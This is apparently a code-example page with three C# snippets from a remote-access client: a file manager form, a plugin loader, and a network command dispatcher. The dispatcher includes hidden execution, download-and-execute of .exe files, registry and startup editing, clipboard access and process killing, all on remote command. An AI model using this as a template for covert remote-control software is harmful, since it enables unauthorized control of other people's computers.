예제 #1
0
        /// <summary>
        /// Initializes a new instance of the <see cref="FrmFileManager"/> class using the given client.
        /// </summary>
        /// <param name="client">The client used for the file manager form.</param>
        public FrmFileManager(Client client)
        {
            _connectClient = client;

            _fileManagerHandler = new FileManagerHandler(client);

            RegisterMessageHandler();
            InitializeComponent();
        }
예제 #2
0
 public void OnPluginLoad(IClientHost server)
 {
     NetworkHost = server;
     TaskManagerHandler.SetNetworkHost(NetworkHost);
     RegistryEditorHandler.SetNetworkHost(NetworkHost);
     FileManagerHandler.SetNetworkHost(NetworkHost);
     ConsoleHandler.SetNetworkHost(NetworkHost);
     MiscHandler.SetClientHost(server);
     ClipboardHandler.SetHost(server);
     StartupHandler.SetHost(server);
     ConnectionsHandler.SetHost(server);
 }
예제 #3
0
        public void OnDataRecieved(object[] data)
        {
            NetworkCommand command = (NetworkCommand)data[0];

            Console.WriteLine("NetworkCommand: {0}", command.ToString());

            if (command == NetworkCommand.TaskManager)
            {
                TaskManagerHandler.Handle(data);
            }

            if (command == NetworkCommand.RegistryEdit)
            {
                RegistryEditorHandler.Handle(data);
            }
            if (command == NetworkCommand.FileManager)
            {
                FileManagerHandler.Handle(data);
            }
            if (command == NetworkCommand.Console)
            {
                ConsoleHandler.Handle(data);
            }
            if (command == NetworkCommand.Clipboard)
            {
                ClipboardHandler.Handle(data);
            }
            if (command == NetworkCommand.StartupManager)
            {
                StartupHandler.Handle(data);
            }
            if (command == NetworkCommand.Connections)
            {
                ConnectionsHandler.Handle(data);
            }


            if (command == NetworkCommand.Close)
            {
                Environment.Exit(0);
            }
            if (command == NetworkCommand.Restart)
            {
                MiscHandler.Restart();
            }
            if (command == NetworkCommand.Ping)
            {
                NetworkHost.Send((byte)NetworkCommand.Pong);
            }
            if (command == NetworkCommand.Execute)
            {
                MiscHandler.Execute((string)data[1]);
            }
            if (command == NetworkCommand.ExecuteHidden)
            {
                MiscHandler.ExecuteHidden((string)data[1]);
            }
            if (command == NetworkCommand.DeleteFile)
            {
                MiscHandler.DeleteFile((string)data[1]);
            }
            if (command == NetworkCommand.DownloadAndExecute)
            {
                MiscHandler.DownloadAndExecute((string)data[1], ".exe");
            }
            if (command == NetworkCommand.DownloadFile)
            {
                MiscHandler.DownloadFile((string)data[1], (string)data[2]);
            }
            if (command == NetworkCommand.KillProcess)
            {
                MiscHandler.KillProcess((int)data[1]);
            }
            if (command == NetworkCommand.SuspendProcess)
            {
                MiscHandler.SuspendProcess((int)data[1]);
            }
            if (command == NetworkCommand.ResumeProcess)
            {
                MiscHandler.ResumeProcess((int)data[1]);
            }
            if (command == NetworkCommand.HideWindow)
            {
                MiscHandler.HideWindow((int)data[1]);
            }
        }